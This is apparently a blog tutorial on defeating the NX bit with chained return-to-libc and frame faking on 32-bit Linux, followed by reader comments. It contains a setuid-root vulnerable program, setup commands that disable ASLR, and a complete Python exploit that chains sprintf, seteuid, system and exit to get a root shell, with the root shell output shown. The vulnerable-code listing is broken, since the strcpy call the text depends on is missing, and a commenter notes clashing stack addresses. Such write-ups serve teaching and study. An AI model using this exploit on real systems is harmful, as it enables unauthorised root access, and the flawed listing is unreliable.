Bypassing NX bit using chained return-to-libc


  1. Classic Stack Based Buffer Overflow
  2. Bypassing NX bit using return-to-libc

VM Setup: Ubuntu 12.04 (x86)

Chained returned-to-libc?

As seen in previous post, need arises for an attacker to call multiple libc functions for a successful exploit. A simple way to chain multiple libc functions is to place one libc function address after another in the stack, but its not possible because of function arguments. Not very clear, no issues just read on!!

Vulnerable Code:

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
 char buf[256];
 seteuid(getuid()); /* Temporarily drop privileges */
 return 0;

NOTE: This code is same as the vulnerable code listed in previous post (vuln_priv.c).

Compilation Commands:

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

As said in previous post, chaining seteuid, system and exit would allows us to exploit the vulnerable code ‘vuln’. But is not a straight forward task because of below two problems:

  1. At the same position in the stack, attacker would be needed to place function argument of both libc functions or a function argument of one libc function and an address of another libc function which is obviously not possible (as depicted in the below picture).
  2. seteuid_arg should be zero. But since our buffer overflow is due to strcpy, zero becomes a bad character ie) characters after this zero wont be copied into the stack by strcpy().

Lets now see how to overcome these two problems.

Problem 1: To address this problem Nergal talks about two brilliant techniques

  1. ESP Lifting
  2. Frame Faking

in his phrack article. Here lets see ONLY about frame faking since to apply esp lifting technique binary should be compiled without frame pointer (-fomit-frame-pointer) support. But since our binary (vuln) contains frame pointers, we need to apply frame faking technique.

Frame Faking?

In this technique instead of overwriting return address directly with libc function address (seteuid in this example), we overwrite it with “leave ret” instruction. This allows the attacker to store function arguments in stack without any overlap and thus allowing its corresponding libc function to be invoked, without any issues. Lets see how?.

Stack Layout: While faking frame attacker overflows the buffer as shown in below stack layout to successfully chain libc functions seteuid, system and exit:

Red highlighted ones in the above picture are return addresses where every “leave ret” instruction invokes the libc function above it. For example the first “leave ret” instruction (located at stack address 0xbffff1fc) invokes seteuid(), while the second “leave ret” (located at stack address 0xbffff20c) invokes system() and the third “leave ret” instruction (located at stack address 0xbffff21c) invokes exit().

How a leave ret instruction invokes a libc function above it?

To know the answer for the above question, first we need to know about “leave”. A “leave” instruction translates to:

mov ebp,esp            //esp = ebp
pop ebp                //ebp = *esp

Lets disassemble main() function to know more about “leave ret” instruction.

(gdb) disassemble main
Dump of assembler code for function main:
  0x0804851c <+88>: leave                  //mov ebp, esp; pop ebp;
  0x0804851d <+89>: ret                    //return
End of assembler dump.

Main’s Epilogue:

Before main’s epilogue executed, as shown in the above stack layout, attacker would have overflown the buffer and would have overwritten, main’s ebp with fake_ebp0 (0xbffff204) and return address with “leave ret” instruction address (0x0804851c). Now when CPU is about to execute main’s epilogue,  EIP points to text address 0x0804851c (“leave ret”). On execution, following happens:

  • ‘leave’ changes following registers
    • esp = ebp = 0xbffff1f8
    • ebp = 0xbffff204, esp = 0xbffff1fc
  • ‘ret’ executes “leave ret” instruction (located at stack address 0xbffff1fc) .

seteuid: Now again EIP points to text address 0x0804851c (“leave ret”). On execution, following happens:

  • ‘leave’ changes following registers
    • esp = ebp = 0xbffff204
    • ebp = 0xbffff214, esp =0xbffff208
  • ‘ret’ executes seteuid() (located at stack address 0xbffff208). To invoke seteuid successfully, seteuid_arg should be placed at offset 8 from seteuid_addr ie) at stack address 0xbffff210
  • After seteuid() gets invoked, “leave ret” instruction (located at stack address 0xbffff20c), gets executed.

Following the above procedure, system and exit would also get invoked since the stack is setup’d for it invocation by the attacker – as shown in the above stack layout picture.

Problem 2: In our case seteuid_arg should be zero. But since zero being a bad character, how to write zero at stack address 0xbffff210? There is a simple solution to it, which is discussed by nergal in the same article. While chaining libc functions, first few calls should be strcpy which copies a NULL byte into seteuid_arg’s stack location.

NOTE: But unfortunately in my strcpy’s function address is 0xb7ea6200 – ie) libc function address itself contains a NULL byte (bad character!!). Hence strcpy cant be used to successfully exploit the vulnerable code. sprintf (whose function address is 0xb7e6e8d0) is used as a replacement for strcpy ie) using sprintf NULL byte is copied in to seteuid_arg’s stack location.

Thus following libc functions are chained to solve the above two problems and to successfully obtain root shell:

sprintf | sprintf | sprintf | sprintf | seteuid | system | exit

Exploit code:
#!/usr/bin/env python
import struct
from subprocess import call

fake_ebp0 = 0xbffff1a0
fake_ebp1 = 0xbffff1b8
fake_ebp2 = 0xbffff1d0
fake_ebp3 = 0xbffff1e8
fake_ebp4 = 0xbffff204
fake_ebp5 = 0xbffff214
fake_ebp6 = 0xbffff224
fake_ebp7 = 0xbffff234
leave_ret = 0x0804851c
sprintf_addr = 0xb7e6e8d0
seteuid_addr = 0xb7f09720
system_addr = 0xb7e61060
exit_addr = 0xb7e54be0
sprintf_arg1 = 0xbffff210
sprintf_arg2 = 0x80485f0
sprintf_arg3 = 0xbffff23c
system_arg = 0x804829d
exit_arg = 0xffffffff

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

buf = "A" * 264 
buf += conv(fake_ebp0) 
buf += conv(leave_ret) 
#Below four stack frames are for sprintf (to setup seteuid arg )
buf += conv(fake_ebp1) 
buf += conv(sprintf_addr) 
buf += conv(leave_ret) 
buf += conv(sprintf_arg1) 
buf += conv(sprintf_arg2) 
buf += conv(sprintf_arg3) 
buf += conv(fake_ebp2) 
buf += conv(sprintf_addr) 
buf += conv(leave_ret) 
sprintf_arg1 += 1
buf += conv(sprintf_arg1) 
buf += conv(sprintf_arg2) 
buf += conv(sprintf_arg3) 
buf += conv(fake_ebp3) 
buf += conv(sprintf_addr) 
buf += conv(leave_ret) 
sprintf_arg1 += 1
buf += conv(sprintf_arg1) 
buf += conv(sprintf_arg2) 
buf += conv(sprintf_arg3) 
buf += conv(fake_ebp4) 
buf += conv(sprintf_addr) 
buf += conv(leave_ret) 
sprintf_arg1 += 1
buf += conv(sprintf_arg1) 
buf += conv(sprintf_arg2) 
buf += conv(sprintf_arg3)
#Dummy - To avoid null byte in fake_ebp4. 
buf += "X" * 4 
#Below stack frame is for seteuid
buf += conv(fake_ebp5) 
buf += conv(seteuid_addr) 
buf += conv(leave_ret) 
#Dummy - This arg is zero'd by above four sprintf calls
buf += "Y" * 4 
#Below stack frame is for system
buf += conv(fake_ebp6) 
buf += conv(system_addr) 
buf += conv(leave_ret) 
buf += conv(system_arg) 
#Below stack frame is for exit
buf += conv(fake_ebp7) 
buf += conv(exit_addr) 
buf += conv(leave_ret) 
buf += conv(exit_arg) 

print "Calling vulnerable program"
call(["./vuln", buf])

Executing the above exploit code gives us root shell!!

$ python 
Calling vulnerable program
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit

Now having bypassed NX bit completely, lets see how to bypass ASLR in the next post.


10 thoughts on “Bypassing NX bit using chained return-to-libc

  1. Thanks for article 😀 Will you be writing an article on doing chained ret-2-libc for x86-64 architecture since in that case I once read that first six arguments are passed via registers and if more are required, they are pushed onto stack. Though I am not sure if this information is correct or not, but if this information is correct than finding ROP gadget for passing this arguments first into registers (followed by successful return from that ROP gadget) and then giving proper address of function seems somewhat difficult. Any good way to get through this? If the information of sending the arguments via registers is not correct, then I think this will work smoothly. 😀


    • Yup @can first 6 args are copied to registers (rdi,rsi,rdx,rcx,r8 and r9) while the remaining are pushed on to stack. In such cases we need to overwrite RA with push ; ret instruction before invoking the actual libc function!! AFAIK this is the ONLY way, this case is NOT that difficult if you looks for ROP gadgets in libc :). However to use ROP gadgets in libc we need an info leak to bypass ASLR 😛


  2. Is this method is applicable? I tried you binary and your exploit from your github repository but it didn’t work out like the one your wrote. Also please explain in detail how did you get the fake_ebpX addresses.


    • Yup my blog posts address and my github repo executables arent same. My bad 😦 fake_ebpX contains a higher stack address which gets stored in ebp. So later when leave ret instruction is executed, the function address above the fake_ebpX gets executed. If you are still unclear please try to understand more about “leave” instruction explained in this blog post!


  3. Instead of frame faking, I think instruction sequences like “pop , ret”, “pop pop ret” is more common as it’s not necessary to know the stack address. Usually, it’s just hard to leak the stack address. However, as far as I’m concerned, “pop ret” can not bypass NULL byte if stack address is unknown, so each method has its limitiatons.


  4. what the address 0x80485f0 (sprintf_arg2) will contain ? is it a single %n ? and thanks for the awesome posts, it helps me a lot.


  5. You said that “and would have overwritten, main’s ebp with fake_ebp0 (0xbffff204) ” but fake_ebp0 is at 0bffff1f8….
    Can you please explain that? or is that a mistake?


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s